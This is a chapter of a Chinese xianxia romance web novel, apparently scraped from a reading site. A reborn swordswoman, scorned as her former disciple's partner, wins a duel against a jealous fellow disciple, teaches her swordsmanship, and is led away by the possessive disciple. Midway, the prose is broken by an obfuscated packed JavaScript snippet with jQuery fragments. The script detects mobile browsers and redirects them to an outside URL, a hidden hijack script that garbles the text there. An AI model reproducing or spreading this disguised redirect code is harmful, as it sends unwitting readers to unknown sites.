17. 番外1
作品:《替徒挡剑的冤种师父重生后》 来到这所谓的仙界时日越久,我便越发觉得,此处与人界并无太大不同。
此地推崇道,以道法为尊。
有道法课,讲授天地自然运行的至理,有道术课,研修诸般玄奇法术。
读厚厚的书卷,做大学问,讲大道理……难怪我徒弟能在这里混的如鱼得水,他可不要太擅长这些。
我不与徒弟一同闭关双修时,也会去听课,只是往往一去便睡,讲堂上的长老们对我束手无策,想赶我走又都忍着。
没办法,谁让我是门内仙尊座下最得意弟子的道侣呢。
只要我徒弟不倒,便无人能动我。
……如此看来,大约这辈子是无人能动我了。
虽说我在修道一途上天资驽钝,但在我与徒弟勤恳双修下,我的修为突飞猛进,很快便突破到了练气期顶层。
关于我的种种流言随之四起。
什么掌门流落凡界的私生女,什么靠不正当手段上位的,什么癞蛤蟆吃天鹅肉……言辞都颇为不堪。
总归大意便是,无论品性还是修为,我都全然配不上我的道侣,这位门内万众瞩目的首席弟子。
对于流言蜚语,我向来不萦于心。
随便恶意中伤,动一下眉头算我输。
“喂!那边的妖女!就凭你,也配当我师兄的道侣?”
我看了说话的女子一眼,继续往前走。
“你这狐媚子!我今日定要打出你的原形!”她叱道,手中掐诀,一条翠绿藤蔓破土而出,如灵蛇般缠上我的双腿,同时她举剑便向我心口刺来!
我并未慌张,只伸出两指,于电光石火间稳稳夹住了袭来的剑尖。
“你非我对手,何必自取其辱?”
那女子气得脸颊绯红:“妖女狂妄!若非师兄以自身灵气渡你,凭你这等资质,如何能够入道?不过是个靠人喂到练气顶层的废物!我乃是实打实自行筑基,你安敢瞧我不起?”
“我没有看不起你,”我认真解释,“我只是在说实话。”
“你可知练气与筑基之间,乃是云泥之别!我一剑便可送你上西天!”
旁人叫嚣:
“就是,师姐可是不到五年就筑基的天才!”
“师姐,给她一点颜色瞧瞧,别以为自己有后台就可以为所欲为。”
“我不知道什么云泥之别,我只知道……”我捏着剑,先往前用力一拉,那女子踉跄向前,而后震剑夺过,随手砍掉树藤后说,“你的剑术很差。”
大概有些人生来就是让人看不顺眼的,我就是那种人,当初我在江湖行走,也是一群人对我喊打喊杀。
不过爱我的人也很多,我想到了我娘亲,我都没见过她,她却为我的死而伤心。
思绪被拉回现实,他们已堵住我的去路。
那女子被众人言语所激,双目泛红,竟要与我立下生死战约。
恰在此时,我徒弟到了。
在场的年轻人有的喊他师兄,有的喊他师叔,七嘴八舌的,仙界以修为定尊卑,他修为精进太快,许多人尚未适应他的身份转变。
在外人眼中,他是清冷高华且遥不可及的门派翘楚,不仅剑术出神入化,道法深不可测,更兼通丹鼎阵法之术,堪称全才。
是各峰争抢的对象,若非那个中年仙尊实力足够强横,我这徒弟花落谁家还未可知。
见我们要离开,那女子情急之下上前拦住:“师兄!你切莫执迷不悟!她定是旁人派来的妖孽,是依附于你的血蛭!你莫要被她的皮相所惑!”
我徒弟声音清冽,不带波澜:“我之一切所为,皆出自本心,无人可左右。”
“慢,我要与你定下生死战!”她拿剑指着我。
生死战必须要应,我被推上了擂台。
徒弟将霜霎递到我面前,我垂眸看了一眼,并未去接:“不必。”
他脸色一沉,压低声音,“师父,你二人修为终究有些差距。”
“你觉得我在托大?”我挑眉。
“师父,这是生死战,不能马虎。”他重申,满脸的不赞同。
我徒弟很关心我的生死,比我更关心,我心里清楚,于是抬手轻轻揉了揉他的发顶,安抚道,“放心。若论修道悟法,我或许不行,但若说临阵对敌,我心中还是有数的。”
说罢,我转身踏上擂台。
方才亲昵姿态让四周神色各异,议论声低低传来。
我没有在意,而是看向我的对手,她受怂恿上了擂台,此刻见我气定神闲,眼中已多了几分犹疑,大约是怕我徒弟给我什么厉害法宝。
这样的对手……我至少有百种方法应对。
“我不用别的,”我举起人手一把的弟子剑,“只用这个。”
“一个练气,好大的口气!”她被我激怒,一拍储物袋,各种法宝尽出。
显然并不想和我比拼武道,企图拿法宝战术直接淹死我。
我并没有急着攻击,只在漫天光华与呼啸声中使用身法腾挪闪避。
她毕竟只是一名普通弟子,家底不算丰厚,何况同时操控多件法宝对灵力消耗极大,不过片刻,那狂风暴雨般的攻势便显出了颓势。
见她声势一弱,我的攻势立刻变得凌厉起来,一剑逼向她的咽喉,她慌忙举剑格挡,我手腕轻抖,巧妙一挑,将她的佩剑击飞,随即剑尖稳稳停在她颈侧。
她满面惊骇地望着我。
我未下杀手,只走过去,用剑尖将她掉落的佩剑挑起,递还给她,淡然道:“平心静气,调匀内息,再来。”
她咬紧下唇,不甘地接过剑,再次攻来,此番不仅用剑,更夹杂了数种道术,灵光闪烁,袭向我周身要害。
我面色不变,步伐流转,剑随身走,或格或引,或避或破,将她的攻势一一化解,须臾之间,剑锋又一次轻巧地停在她白皙的脖颈前。
我再次为她挑起佩剑。
问她,“继续吗?”
她胸膛剧烈起伏,羞愤交加,尖叫着举剑朝我胡劈乱砍而来,章法全无,已是破罐破摔的打法。
这般毫无规律的攻击,反倒让我应对起来稍觉麻烦,但她很快便力竭,瘫软在地,恨恨瞪着我:“要杀要剐,悉听尊便!何必如此折辱于我!”
“你觉得……”我顿了顿,收剑而立,垂眸看她,“我在羞辱你吗?”
她愕然抬眸。
“羞辱别人的……不是一直都是你吗?”我歪了歪头说。
目光扫过她,也扫过台下诸多面孔,“其实我不是很明白,你们口口声声要追寻大道,却终日搬弄口舌,以流言伤人,说实话,我如果是大道,我大概都不想被你们这种人修……我和她并没有什么深仇大怨,她却被你们捧高,被你们一人一口,怂恿着上了生死擂台,若我或她有一人身死,在座诸位不会以为自己不会沾染因果,满心皆尘吧?”
我的这番话无疑是把遮羞布揭开,看台上的人,尤其是那些以为藏在人群就不会被发现的,充满小心思的人,都被我说得满脸羞红。
而那与我生死相搏的女子,怔愣片刻,哇的一声大哭出来。
我转身离开擂台,我徒弟迎了上来,“师父,你也太过……仁善了些。”
此事过后,在背后议论我的人少了很多。
有一日,我在课上睡醒,周遭同窗早已散去。我慵懒地打了个哈欠,正欲起身,却见一名女子静立身后。
她脸上闪过一丝挣扎,最终还是别别扭扭地说道:“我……我想跟你学剑。”
“你是?”我一时未认出。
那女子顿时气结,强忍着怒气道:“我便是那日……你的手下败将!”
“哦,你是那天那个……不是有剑术长老?”
“我要和你练。”
“剑术是旁门左道,你学道术吧,没那么辛苦。”我轻飘飘婉拒。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451348|184051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我不怕辛苦。”她上前一步,急着说,“我知道你有真本事,你一定是在藏拙,我想跟你学真本事!”
难怪会被人所激,她的性子确实执拗,还认死理,我起初没答应她,可她直接缠上我,在各种地方想法设法的堵我。
最后我被磨得没脾气。
“手腕下沉,肩肘放松,”我屈指弹开她不稳的剑锋,摇了摇头,“你太刻意追求招式,反而失了剑意本身的灵动。”
秦兰喘着气,额角见汗,“我愚钝,还是……不太明白。”
“哎,你就这样……”我正欲接过她的剑,一道清冷的声音自殿门处响起。
“你怎么在此处逗留这么久?”
我抬眼望去,只见我徒弟不知何时站在那里,一身素白道袍,衬得他身姿挺拔,他面色平淡,目光先是在我脸上停留一瞬,随即落在一旁的秦兰身上。
秦兰立刻收剑,眼都不知道往哪放,“师,师兄……”
“哦,她找我练剑呢。”我说。
他很自然地站到了我与秦兰之间,恰好隔断了我们交流的视线,“剑术虽可磨砺心性,却也不可过于沉溺,耽误根本道法的修行。”
“是,我知道了,师兄。”
我眨了眨眼,觉得气氛有些微妙,却又说不上来。
他转向我,“师父,今日我新炼了清心露,需要两个时辰内服用,药效最佳。”
“师,师父?”她眼中震惊。
“他以前是我徒弟。”
“你徒弟……”她嘴巴大张。
“现在被人抢了。”我说重点。
我打算再指点一下,“你这招的关键不在快,而在转的时机……朔儿?”
我刚说两句,就被人拖走了。
“你拽我干嘛?”我手腕上多了一圈红痕。
“抱歉,是我太着急了,”他垂下眼睫,力道适中地揉按起来,专注的样子格外好看。
我气消了大半。
“你答应教她剑术了?”他缓缓问道。
“我现在这么菜,哪有资格教别人。”
“那刚才是?”
“我看她挺有毅力的,而且真心想学,就忍不住教了一点。”
“你就不怕她别有用心?”
“不会,”我坦率地说,“她看她剑风挺正的,不是什么有歪心思的人,要坏也坏不到哪儿去!”
闻言,我手腕被重重捏了一下,“嘶……”
沉默了片刻,我徒弟忽然道:“明日我要去藏经阁顶层查阅一些上古阵法典籍,需闭关参悟几日。”
“哦,你去便是。”我应得干脆。
“藏经阁顶层,可携一名道侣同往护法,”他继续道,语气平淡得像是在讨论今日天气,“以免心神沉入典籍时,外邪侵扰。”
还有这规矩?藏经阁顶层,我听说那可是存放宗门高深典籍之处,里面也许有什么仙门剑法。
想到这个,我哈喇子流下来了。
“你愿意陪我吗?”
“好啊好啊,我陪你去。”
他唇角微不可察地弯了一下,又迅速压下,“那师父今晚早些休息,门内长老那边,我帮你请假,暂时就不去学了?”
我的心思已经飘到藏经阁。
直到晚上躺下,我才后知后觉地琢磨过味儿来。
他怎么突然说去藏经阁闭关?
而且为何要我护法?
我这水平,能保护谁?
以他的修为,这宗门内还有能侵扰他的外邪?
我越想越怪,侧过头看着身旁呼吸平稳的徒弟,他安静的睡颜在月光下显得格外无害。
他不会是不想我和秦兰往来吧?
想到这个可能,我忍不住轻轻戳了戳他的脸颊,“是不是?”
他握住了我作乱的手指,贴在自己颊边,闭着眼睛说:“嗯,师父,不许教别人……”